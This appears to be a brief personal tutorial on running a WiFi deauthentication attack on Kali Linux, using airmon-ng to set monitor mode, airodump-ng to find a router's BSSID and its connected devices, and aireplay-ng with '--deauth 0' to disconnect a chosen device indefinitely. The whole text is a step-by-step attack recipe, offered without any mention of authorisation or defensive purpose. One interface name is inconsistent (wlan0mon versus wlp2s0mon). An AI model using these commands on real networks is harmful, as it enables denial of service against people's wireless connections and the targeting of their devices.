Wifi Deauthentication attack on Kali linux

You might have to run these as sudo (root). Also, do not be alarmed if your computer does not find your wifi card. A clean reboot will solve the issue.

  1. Get the name if your wireless card : the only one with information.
iwconfig

Mine was wlp2s0.

  1. Put the boi is monitor mode. This is to allow it to monitor network traffic.
airmon-ng start wlp2s0
  1. Run iwconfig again. It should now have a mon at the end. Mine became wlp2s0mon.
  2. Run the following to see the list of routers and their corresponding WiFi names. Note the BSSID( thatā€™s the Mac address) of the network of choice, and itā€™s channel (CH).
airodump-ng wlp2s0mon
  1. Run the following to see the devices connected to this WiFi. These appear under ā€œStationā€. Itā€™s the mac address of the device.
airodump-ng wlan0mon --bssid [routers BSSID here]--channel [routers channel here]

To find out what the device is, google the first 3 sections of the deviceā€™s mac address, and you can see the device manufacturer info and hence be able to identify the device.

  1. Deauth! Run:
aireplay-ng --deauth 0 -c [DEVICES MAC ADDRESS] -a [ROUTERS MAC ADDRESS] wlp2s0mon

0 is for infinite attacks, until manually stopped. Specify a number of choice for finite number of attacks.
